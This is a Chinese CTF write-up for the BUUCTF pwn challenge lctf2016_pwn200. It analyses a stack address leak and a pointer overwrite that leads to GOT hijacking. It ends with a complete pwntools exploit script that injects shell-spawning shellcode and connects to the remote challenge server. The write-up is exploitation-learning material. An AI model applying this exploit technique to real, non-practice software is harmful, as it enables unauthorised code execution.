buu刷题记录-lctf2016_pwn200
静态分析
checksec 64位保护全关,并且栈可读可写可执行,那么主要思路应该是执行shellcode了。main函数一个IO初始化和一个函数,进去发现有一个name输入,是用for - read(1)实现的,但是观察缓冲区和循环大小,发现缓冲区大小与循环次数相同,意味着如果我输入填满缓冲区,一会输出名字的时候可以泄露栈地址。sub_4007DF这个函数就是输入一个3位数值返回int。继续往下看发现它又有一个与缓冲区大小相等的一次输入,并且可以覆盖到char *dest这个指针变量,一会会将整个缓冲区以字符串形式拷贝到那个指针内的地址中。那么如果我们将ptr修改那基本是任意地址写了,加上之前泄露的站地址便可以在上面执行shellcode,但是同时也有限制,那就是这是一个字符串拷贝,如果需要在返回的时候执行shellcode那么需要填上shellcode后先放上一个jmp rsp的地址。而64位程序地址虽占8个字节但是实际高两个字节一般都是空的,后面的shellcode很可能无法拷贝。我还尝试过栈迁移,但是栈迁移需要改连续的两个为地址,也不能连续拷贝。那么可以尝试劫持got表,让它在后面执行某些函数的时候劫持到栈上面的shellcode里面。
exp
主要就是写在got表的地址要确定是shellcode的地址,这个可以通过自己调试去反复确定。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import *
context.arch='amd64' context.os='linux' def conn(x,file_name): if x: p=process(file_name) libc=ELF('./libc/libc-2.23-64.so') else: p=remote('node4.buuoj.cn',27025) libc=ELF('./libc/libc-2.23-buu64.so') return ELF(file_name),libc,p
elf,libc,p=conn(0,'./pwn200') payload=b'a'*48 p.send(payload) stack_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-120-0x28-32+8 success('stack_addr:'+hex(stack_addr))
p.sendlineafter(b'id',b'33') payload=p64(stack_addr)+asm(shellcraft.sh()) payload=payload.ljust(0x38,b'e')+p64(elf.got['free']) p.sendlineafter(b'~',payload)
p.sendlineafter(b':',b'2')
p.interactive()
|